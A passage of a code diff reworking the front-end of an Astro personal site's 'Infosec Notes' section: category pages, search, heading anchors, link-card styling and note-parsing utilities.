graphDrawer.checked = false;
|
||||
if (stopGraph) { stopGraph(); stopGraph = null; }
|
||||
}
|
||||
});
|
||||
|
||||
function injectHeadingAnchors() {
|
||||
if (!document.getElementById("heading-anchor-styles")) {
|
||||
const s = document.createElement("style");
|
||||
s.id = "heading-anchor-styles";
|
||||
s.textContent = `
|
||||
.note-content h2, .note-content h3, .note-content h4 {
|
||||
.note-content h2:not(.link-card h2),
|
||||
.note-content h3:not(.link-card h3),
|
||||
.note-content h4:not(.link-card h4) {
|
||||
display: flex !important;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
@@ -510,7 +272,10 @@ while ((hm = headingRe.exec(entry.body ?? "")) !== null) {
|
||||
`;
|
||||
document.head.appendChild(s);
|
||||
}
|
||||
document.querySelectorAll(".note-content h2, .note-content h3, .note-content h4").forEach((heading) => {
|
||||
|
||||
document
|
||||
.querySelectorAll(".note-content h2, .note-content h3, .note-content h4")
|
||||
.forEach((heading) => {
|
||||
if (!heading.id || heading.querySelector(".heading-anchor")) return;
|
||||
const anchor = document.createElement("a");
|
||||
anchor.href = `#${heading.id}`;
|
||||
@@ -528,26 +293,9 @@ while ((hm = headingRe.exec(entry.body ?? "")) !== null) {
|
||||
});
|
||||
heading.appendChild(anchor);
|
||||
});
|
||||
|
||||
const navItems = document.querySelectorAll<HTMLElement>(".nav-item");
|
||||
document.querySelectorAll<HTMLInputElement>("[data-search]").forEach((input) => {
|
||||
input.addEventListener("input", (e) => {
|
||||
const target = e.target as HTMLInputElement;
|
||||
const search = target.value.toLowerCase().trim();
|
||||
document.querySelectorAll<HTMLInputElement>("[data-search]").forEach((o) => {
|
||||
if (o !== target) o.value = target.value;
|
||||
});
|
||||
navItems.forEach((item) => {
|
||||
const match = !search || (item.dataset.title ?? "").includes(search) || (item.dataset.tags ?? "").includes(search);
|
||||
item.style.display = match ? "" : "none";
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
document.addEventListener("astro:page-load", init);
|
||||
document.addEventListener("astro:before-preparation", () => {
|
||||
if (stopGraph) { stopGraph(); stopGraph = null; }
|
||||
document.addEventListener("astro:page-load", () => {
|
||||
injectHeadingAnchors();
|
||||
});
|
||||
</script>
|
||||
</Layout>
|
||||
|
||||
@@ -0,0 +1,176 @@
|
||||
---
|
||||
import { getCollection } from "astro:content";
|
||||
import Layout from "../../layouts/Layout.astro";
|
||||
import NoteNavSidebar from "../../components/NoteNavSidebar.astro";
|
||||
import { getCategory } from "../../utils/notes";
|
||||
import { List } from "@lucide/astro";
|
||||
|
||||
export async function getStaticPaths() {
|
||||
const notes = await getCollection("notes");
|
||||
|
||||
const folderCategories = [
|
||||
...new Set(
|
||||
notes.filter((n) => n.id.includes("/")).map((n) => getCategory(n)),
|
||||
),
|
||||
];
|
||||
|
||||
return folderCategories.map((category) => {
|
||||
const allNotes = notes.sort((a, b) =>
|
||||
a.data.title.localeCompare(b.data.title),
|
||||
);
|
||||
const categories = [...new Set(notes.map(getCategory))].sort();
|
||||
return {
|
||||
params: { category },
|
||||
props: {
|
||||
category,
|
||||
categoryNotes: notes
|
||||
.filter((n) => getCategory(n) === category)
|
||||
.sort((a, b) => a.data.title.localeCompare(b.data.title)),
|
||||
allNotes,
|
||||
categories,
|
||||
},
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
const { category, categoryNotes, allNotes, categories } = Astro.props;
|
||||
|
||||
if (!categoryNotes) {
|
||||
return new Response(null, { status: 404, statusText: "Not found" });
|
||||
}
|
||||
---
|
||||
|
||||
<style>
|
||||
@media (min-width: 768px) {
|
||||
.drawer.md\:drawer-open > .drawer-side {
|
||||
top: 3rem;
|
||||
height: calc(100vh - 3rem);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
<Layout
|
||||
title={`${category} - Infosec Notes`}
|
||||
description={`Notes on ${category}.`}
|
||||
>
|
||||
<main class="max-w-screen-2xl mx-auto">
|
||||
<div class="drawer md:drawer-open min-h-[calc(100vh-3rem)]">
|
||||
<input id="nav-drawer" type="checkbox" class="drawer-toggle" />
|
||||
|
||||
<div class="drawer-content flex flex-col min-w-0">
|
||||
<main class="flex-1 px-4 sm:px-6 lg:px-10 py-6 lg:py-10 min-w-0">
|
||||
<div class="max-w-3xl mx-auto lg:mx-0">
|
||||
<div class="flex items-center justify-between mb-10">
|
||||
<div
|
||||
class="breadcrumbs text-xs font-mono text-base-content/35 p-0"
|
||||
>
|
||||
<ul>
|
||||
<li>
|
||||
<a href="/notes" class="hover:text-base-content/70">notes</a
|
||||
>
|
||||
</li>
|
||||
<li class="text-base-content/60">{category}</li>
|
||||
</ul>
|
||||
</div>
|
||||
<label
|
||||
for="nav-drawer"
|
||||
class="btn btn-ghost btn-xs md:hidden font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
|
||||
>
|
||||
<List size={11} />
|
||||
nav
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div class="mb-10">
|
||||
<div class="flex items-baseline gap-3 mb-1">
|
||||
<h1 class="text-4xl sm:text-5xl font-bold">
|
||||
<span class="text-primary/40 font-mono mr-1">/</span>{
|
||||
category
|
||||
}
|
||||
</h1>
|
||||
</div>
|
||||
<p class="font-mono text-xs text-base-content/25 ml-8">
|
||||
{categoryNotes.length} note{
|
||||
categoryNotes.length !== 1 ? "s" : ""
|
||||
}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="border-t border-base-300/40 mb-1"></div>
|
||||
<ul class="divide-y divide-base-300/20">
|
||||
{
|
||||
categoryNotes.map((note) => (
|
||||
<li>
|
||||
<a
|
||||
href={`/notes/${note.id}`}
|
||||
class="group flex items-center gap-4 py-3 hover:bg-base-200/30 px-2 -mx-2 transition-colors"
|
||||
>
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="flex flex-col mb-0.5">
|
||||
<span class="font-semibold text-sm group-hover:text-primary transition-colors">
|
||||
{note.data.title}
|
||||
</span>
|
||||
{note.data.description && (
|
||||
<span class="text-xs text-base-content/35 truncate">
|
||||
{note.data.description}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
{note.data.tags.length > 0 && (
|
||||
<div class="flex flex-wrap gap-1 mt-1">
|
||||
{note.data.tags.map((tag) => (
|
||||
<span class="badge badge-ghost badge-xs font-mono text-base-content/30">
|
||||
{tag}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="14"
|
||||
height="14"
|
||||
viewBox="0 0 24 24"
|
||||
fill="none"
|
||||
stroke="currentColor"
|
||||
stroke-width="2"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
class="text-base-content/20 group-hover:text-primary/50 shrink-0 transition-colors"
|
||||
>
|
||||
<path d="m9 18 6-6-6-6" />
|
||||
</svg>
|
||||
</a>
|
||||
</li>
|
||||
))
|
||||
}
|
||||
</ul>
|
||||
|
||||
<div
|
||||
class="border-t border-base-300/30 mt-12 pt-6 flex items-center justify-between font-mono text-[10px] text-base-content/25"
|
||||
>
|
||||
<a
|
||||
href="/notes"
|
||||
class="hover:text-base-content/50 transition-colors"
|
||||
>
|
||||
← all notes
|
||||
</a>
|
||||
<a href="/" class="hover:text-base-content/50 transition-colors">
|
||||
~/hadi
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
|
||||
<div class="drawer-side z-[70]">
|
||||
<label for="nav-drawer" aria-label="close sidebar" class="drawer-overlay"></label>
|
||||
<NoteNavSidebar
|
||||
notes={allNotes}
|
||||
currentCategory={category}
|
||||
categories={categories}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
</Layout>
|
||||
+24
-153
@@ -1,173 +1,44 @@
|
||||
---
|
||||
import Layout from "../../layouts/Layout.astro";
|
||||
import { getCollection } from "astro:content";
|
||||
import { ChevronRight, Shield } from "@lucide/astro";
|
||||
import { getCategory } from "../../utils/notes";
|
||||
import NotesSearch from "../../components/NotesSearch.svelte";
|
||||
|
||||
const notes = await getCollection("notes");
|
||||
const sortedNotes = notes.sort(
|
||||
(a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime()
|
||||
(a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime(),
|
||||
);
|
||||
|
||||
const categories = [...new Set(notes.map((n) => n.data.category))].sort();
|
||||
|
||||
const searchIndex = Object.fromEntries(
|
||||
sortedNotes.map((n) => [
|
||||
n.id,
|
||||
[n.data.title, n.data.description, n.body ?? ""].join(" ").toLowerCase(),
|
||||
])
|
||||
);
|
||||
const searchNotes = sortedNotes.map((n) => ({
|
||||
id: n.id,
|
||||
title: n.data.title,
|
||||
description: n.data.description,
|
||||
tags: n.data.tags,
|
||||
category: getCategory(n),
|
||||
searchText: [n.data.title, n.data.description, n.body ?? ""]
|
||||
.join(" ")
|
||||
.toLowerCase(),
|
||||
}));
|
||||
---
|
||||
|
||||
<Layout
|
||||
title="Security Notes — Another Hadi"
|
||||
description="Reference notes on cybersecurity tools and techniques."
|
||||
title="Infosec Notes - Another Hadi"
|
||||
description="Cheatsheets on cybersecurity tools and techniques."
|
||||
>
|
||||
<main class="max-w-4xl mx-auto px-4 py-16 sm:py-20">
|
||||
|
||||
<div class="text-center mb-12">
|
||||
<div class="flex items-center justify-center gap-2 mb-4">
|
||||
<Shield size={20} class="text-primary/60" />
|
||||
<span class="font-mono text-xs text-primary/60 tracking-widest uppercase">security notes</span>
|
||||
</div>
|
||||
<h1 class="text-4xl sm:text-5xl font-bold mb-4">Notes</h1>
|
||||
<p class="text-base-content/50 max-w-md mx-auto">
|
||||
Reference sheets on cybersecurity tools and techniques.
|
||||
<h1 class="text-4xl sm:text-5xl font-bold mb-4">Infosec Notes</h1>
|
||||
<p class="text-xl text-base-content/70">
|
||||
Cheat sheets on cybersecurity tools and techniques.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="mb-12 max-w-sm mx-auto">
|
||||
<div class="flex items-center gap-2 border border-base-300/60 px-3 py-2 bg-base-200/30 focus-within:border-primary/40 transition-colors">
|
||||
<span class="font-mono text-sm text-base-content/25">›</span>
|
||||
<input
|
||||
data-search
|
||||
type="text"
|
||||
placeholder="search or #tag..."
|
||||
class="bg-transparent font-mono text-sm text-base-content/70 placeholder:text-base-content/25 outline-none w-full"
|
||||
/>
|
||||
</div>
|
||||
<p class="font-mono text-[10px] text-base-content/20 mt-1.5 text-center">
|
||||
use #tag to filter by tag
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div id="notes-container" class="space-y-12">
|
||||
{
|
||||
categories.map((cat) => {
|
||||
const catNotes = sortedNotes.filter((n) => n.data.category === cat);
|
||||
return (
|
||||
<section data-category={cat.toLowerCase()}>
|
||||
<div class="flex items-baseline gap-3 mb-4">
|
||||
<h2 class="text-xl font-bold tracking-tight">
|
||||
<span class="text-primary/50 font-mono mr-1">/</span>{cat}
|
||||
</h2>
|
||||
<span class="font-mono text-xs text-base-content/25">
|
||||
{catNotes.length} note{catNotes.length !== 1 ? "s" : ""}
|
||||
</span>
|
||||
</div>
|
||||
<div class="border-t border-base-300/40 mb-1" />
|
||||
|
||||
<ul class="divide-y divide-base-300/20">
|
||||
{catNotes.map((n) => (
|
||||
<li>
|
||||
<a
|
||||
href={`/notes/${n.id}`}
|
||||
class="note-card group flex items-center gap-4 py-3 hover:bg-base-200/30 px-2 -mx-2 transition-colors"
|
||||
data-id={n.id}
|
||||
data-tags={n.data.tags.join(",")}
|
||||
<div
|
||||
class="text-xs font-mono text-base-content/25 border border-base-300/30 rounded-box px-4 py-3 mb-10 max-w-xl mx-auto text-center leading-relaxed"
|
||||
>
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="flex items-baseline gap-3 mb-0.5">
|
||||
<span class="font-semibold text-sm group-hover:text-primary transition-colors">
|
||||
{n.data.title}
|
||||
</span>
|
||||
<span class="hidden sm:block text-xs text-base-content/35 truncate">
|
||||
{n.data.description}
|
||||
</span>
|
||||
All content is intended for educational purposes, CTF challenges, and
|
||||
authorized penetration testing only. Do not use any of this against
|
||||
systems you do not own or have explicit permission to test.
|
||||
</div>
|
||||
{n.data.tags.length > 0 && (
|
||||
<div class="flex flex-wrap gap-1 mt-1">
|
||||
{n.data.tags.map((tag) => (
|
||||
<span class="font-mono text-[10px] px-1.5 py-0.5 border border-base-300/40 text-base-content/25">
|
||||
{tag}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<ChevronRight
|
||||
size={14}
|
||||
class="text-base-content/20 group-hover:text-primary/50 shrink-0 transition-colors"
|
||||
/>
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</section>
|
||||
);
|
||||
})
|
||||
}
|
||||
</div>
|
||||
|
||||
<div id="empty-state" class="hidden text-center py-20 font-mono text-sm text-base-content/25">
|
||||
no results.
|
||||
</div>
|
||||
|
||||
<p class="text-center font-mono text-xs text-base-content/20 mt-16">
|
||||
<span id="note-count">{notes.length}</span> note{notes.length !== 1 ? "s" : ""} total
|
||||
</p>
|
||||
|
||||
<NotesSearch client:load notes={searchNotes} />
|
||||
</main>
|
||||
|
||||
<script is:inline define:vars={{ searchIndex }}>
|
||||
function init() {
|
||||
const noteCards = document.querySelectorAll(".note-card");
|
||||
const sections = document.querySelectorAll("[data-category]");
|
||||
const emptyState = document.getElementById("empty-state");
|
||||
const noteCount = document.getElementById("note-count");
|
||||
const container = document.getElementById("notes-container");
|
||||
|
||||
function filter(raw) {
|
||||
const isTag = raw.startsWith("#");
|
||||
const query = isTag ? raw.slice(1) : raw;
|
||||
|
||||
let visible = 0;
|
||||
noteCards.forEach((card) => {
|
||||
const id = card.dataset.id ?? "";
|
||||
const tags = card.dataset.tags ? card.dataset.tags.split(",") : [];
|
||||
const show = !query || (
|
||||
isTag
|
||||
? tags.some((t) => t.includes(query))
|
||||
: (searchIndex[id] ?? "").includes(query)
|
||||
);
|
||||
card.style.display = show ? "" : "none";
|
||||
if (show) visible++;
|
||||
});
|
||||
|
||||
sections.forEach((section) => {
|
||||
const anyVisible = [...section.querySelectorAll(".note-card")].some(
|
||||
(c) => c.style.display !== "none"
|
||||
);
|
||||
section.style.display = anyVisible ? "" : "none";
|
||||
});
|
||||
|
||||
noteCount.textContent = String(visible);
|
||||
container.style.display = visible > 0 ? "" : "none";
|
||||
emptyState.classList.toggle("hidden", visible > 0);
|
||||
}
|
||||
|
||||
document.querySelectorAll("[data-search]").forEach((input) => {
|
||||
input.addEventListener("input", (e) => {
|
||||
filter(e.target.value.toLowerCase().trim());
|
||||
});
|
||||
});
|
||||
|
||||
const urlTag = new URLSearchParams(window.location.search).get("tag");
|
||||
if (urlTag) {
|
||||
document.querySelectorAll("[data-search]").forEach((i) => { i.value = `#${urlTag}`; });
|
||||
filter(`#${urlTag}`);
|
||||
}
|
||||
}
|
||||
|
||||
document.addEventListener("astro:page-load", init);
|
||||
</script>
|
||||
</Layout>
|
||||
|
||||
@@ -36,7 +36,7 @@ import repos from "../../data/repos.json";
|
||||
) : (
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
|
||||
{repos.map((repo) => (
|
||||
<GiteaProjectCard repo={repo} />
|
||||
<GiteaProjectCard displayBanner={true} repo={repo} />
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
|
||||
+68
-3
@@ -26,9 +26,9 @@
|
||||
--color-warning-content: oklch(19.359% 0.042 109.769);
|
||||
--color-error: oklch(62.795% 0.257 29.233);
|
||||
--color-error-content: oklch(12.559% 0.051 29.233);
|
||||
--radius-selector: 0rem;
|
||||
--radius-field: 0rem;
|
||||
--radius-box: 0rem;
|
||||
--radius-selector: 0.25rem;
|
||||
--radius-field: 0.25rem;
|
||||
--radius-box: 0.5rem;
|
||||
--size-selector: 0.25rem;
|
||||
--size-field: 0.25rem;
|
||||
--border: 1px;
|
||||
@@ -36,6 +36,71 @@
|
||||
--noise: 0;
|
||||
}
|
||||
|
||||
.drawer-side > aside > astro-island {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
flex: 1;
|
||||
min-height: 0;
|
||||
}
|
||||
|
||||
.btn:not(.btn-circle):not(.btn-square) {
|
||||
@apply rounded-lg;
|
||||
}
|
||||
|
||||
@layer components {
|
||||
.link-card {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding: 0 0.875rem;
|
||||
border-radius: var(--radius-box);
|
||||
border: 1px solid oklch(24% 0 0);
|
||||
background: transparent;
|
||||
color: var(--color-base-content);
|
||||
text-decoration: none !important;
|
||||
transition:
|
||||
background 0.15s ease,
|
||||
border-color 0.15s ease;
|
||||
margin-block: 0.25rem;
|
||||
}
|
||||
.link-card::after {
|
||||
content: "↗";
|
||||
margin-left: auto;
|
||||
padding-left: 0.75rem;
|
||||
opacity: 0;
|
||||
color: var(--color-primary);
|
||||
font-size: 0.75rem;
|
||||
transition:
|
||||
opacity 0.15s ease,
|
||||
transform 0.15s ease;
|
||||
transform: translate(-4px, 4px);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.link-card:hover {
|
||||
background: var(--color-base-200);
|
||||
border-color: var(--color-primary);
|
||||
}
|
||||
.link-card:hover::after {
|
||||
opacity: 1;
|
||||
transform: translate(0, 0);
|
||||
}
|
||||
.link-card span {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
.link-card h4 {
|
||||
font-size: 0.85rem;
|
||||
font-weight: 600;
|
||||
margin: 0;
|
||||
line-height: 1;
|
||||
transition: color 0.15s ease;
|
||||
}
|
||||
.link-card:hover h4 {
|
||||
color: var(--color-primary);
|
||||
}
|
||||
.link-card p {
|
||||
font-size: 0.75rem;
|
||||
margin: 0;
|
||||
line-height: 1;
|
||||
color: oklch(52% 0 0);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
export function getCategory(n: {
|
||||
id: string;
|
||||
data: { category?: string };
|
||||
}): string {
|
||||
if (n.data.category) return n.data.category;
|
||||
const parts = n.id.split("/");
|
||||
return parts.length > 1 ? parts[0] : "General";
|
||||
}
|
||||
|
||||
function slugify(text: string): string {
|
||||
return text
|
||||
.toLowerCase()
|
||||
.replace(/[^\p{L}\p{N}\s_-]/gu, "")
|
||||
.trim()
|
||||
.replace(/ +/g, "-");
|
||||
}
|
||||
|
||||
export function extractExternalLinks(body: string): { url: string; label: string }[] {
|
||||
const seen = new Set<string>();
|
||||
const links: { url: string; label: string }[] = [];
|
||||
|
||||
// Markdown: [label](https://...)
|
||||
const mdRe = /\[([^\]]+)\]\((https?:\/\/[^)]+)\)/g;
|
||||
let m;
|
||||
while ((m = mdRe.exec(body)) !== null) {
|
||||
if (!seen.has(m[2])) {
|
||||
seen.add(m[2]);
|
||||
links.push({ url: m[2], label: m[1] });
|
||||
}
|
||||
}
|
||||
|
||||
// HTML: <a href="https://...">...</a> — use h4 content as label if present, else href host
|
||||
const htmlRe = /<a\s[^>]*href="(https?:\/\/[^"]+)"[^>]*>([\s\S]*?)<\/a>/g;
|
||||
while ((m = htmlRe.exec(body)) !== null) {
|
||||
const url = m[1];
|
||||
if (seen.has(url)) continue;
|
||||
seen.add(url);
|
||||
const h4 = m[2].match(/<h4[^>]*>([\s\S]*?)<\/h4>/);
|
||||
const label = h4 ? h4[1].trim() : new URL(url).hostname;
|
||||
links.push({ url, label });
|
||||
}
|
||||
|
||||
return links;
|
||||
}
|
||||
|
||||
export function extractLinks(body: string): string[] {
|
||||
const re = /\(\/notes\/([^)#\s]+)(?:#[^)\s]*)?\)/g;
|
||||
const ids: string[] = [];
|
||||
let m;
|
||||
while ((m = re.exec(body)) !== null) ids.push(m[1]);
|
||||
return [...new Set(ids)];
|
||||
}
|
||||
|
||||
export function formatDate(date: Date): string {
|
||||
return date.toLocaleDateString("en-US", {
|
||||
month: "long",
|
||||
day: "numeric",
|
||||
year: "numeric",
|
||||
});
|
||||
}
|
||||
|
||||
export function extractHeadings(
|
||||
body: string,
|
||||
): { depth: number; text: string; id: string }[] {
|
||||
const headings: { depth: number; text: string; id: string }[] = [];
|
||||
const re = /^(#{2,4}) (.+)$/gm;
|
||||
let m;
|
||||
while ((m = re.exec(body)) !== null) {
|
||||
const raw = m[2]
|
||||
.trim()
|
||||
.replace(/`[^`]*`/g, "")
|
||||
.replace(/\*\*(.*?)\*\*/g, "$1")
|
||||
.replace(/(?<!\p{L}\p{N})__(.*?)__(?!\p{L}\p{N})/gu, "$1")
|
||||
.replace(/\*(.*?)\*/g, "$1")
|
||||
.replace(/(?<!\p{L}\p{N})_(.*?)_(?!\p{L}\p{N})/gu, "$1")
|
||||
.replace(/[*]/g, "");
|
||||
headings.push({ depth: m[1].length, text: raw, id: slugify(raw) });
|
||||
}
|
||||
return headings;
|
||||
}
|
||||
Reference in New Issue
Block a user